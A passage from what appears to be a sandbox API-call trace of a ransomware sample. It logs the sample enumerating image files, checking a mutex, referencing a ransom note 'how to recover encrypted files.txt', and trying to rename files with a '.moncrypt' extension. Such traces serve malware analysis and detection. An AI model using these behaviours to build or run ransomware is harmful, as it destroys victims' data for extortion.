lpFatTime=0x18eb44) returned 1 [0057.485] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.485] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.485] GlobalUnlock (hMem=0x44000c) returned 0 [0057.486] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.486] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.486] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.486] GlobalUnlock (hMem=0x44000c) returned 0 [0057.486] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.486] GlobalUnlock (hMem=0x440004) returned 0 [0057.486] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.486] CharLowerBuffW (in: lpsz="16_9-frame-image-mask.png", cchLength=0x19 | out: lpsz="16_9-frame-image-mask.png") returned 0x19 [0057.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.487] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png", cchWideChar=78, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.pngt", lpUsedDefaultChar=0x0) returned 78 [0057.487] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\BabyGirl\\16_9-frame-image-mask.pngt", lpUsedDefaultChar=0x0) returned 4 [0057.487] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 0x54e280 [0057.487] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.487] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.487] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.487] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png", dwFileAttributes=0x20) returned 0 [0057.488] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.488] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png.moncrypt")) returned 0 [0057.488] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1 [0057.488] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.488] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.488] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.488] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.488] GlobalUnlock (hMem=0x440004) returned 0 [0057.489] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.489] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.489] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.489] GlobalUnlock (hMem=0x440004) returned 0 [0057.489] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.489] GlobalUnlock (hMem=0x44000c) returned 0 [0057.489] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.489] CharLowerBuffW (in: lpsz="babypink.png", cchLength=0xc | out: lpsz="babypink.png") returned 0xc [0057.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.489] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png", cchWideChar=65, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png", lpUsedDefaultChar=0x0) returned 65 [0057.490] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\BabyGirl\\babypink.png", lpUsedDefaultChar=0x0) returned 4 [0057.490] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 0x54e280 [0057.490] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.490] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.490] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.490] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png", dwFileAttributes=0x20) returned 0 [0057.490] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.491] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png.moncrypt")) returned 0 [0057.491] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0057.491] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.491] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.491] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.491] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.491] GlobalUnlock (hMem=0x44000c) returned 0 [0057.491] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.491] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.491] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.491] GlobalUnlock (hMem=0x44000c) returned 0 [0057.491] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.491] GlobalUnlock (hMem=0x440004) returned 0 [0057.491] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.491] CharLowerBuffW (in: lpsz="background.png", cchLength=0xe | out: lpsz="background.png") returned 0xe [0057.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.492] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png", cchWideChar=67, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png", lpUsedDefaultChar=0x0) returned 67 [0057.492] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\BabyGirl\\background.png", lpUsedDefaultChar=0x0) returned 4 [0057.492] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 0x54e280 [0057.492] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.492] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.493] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.493] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png", dwFileAttributes=0x20) returned 0 [0057.493] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.493] 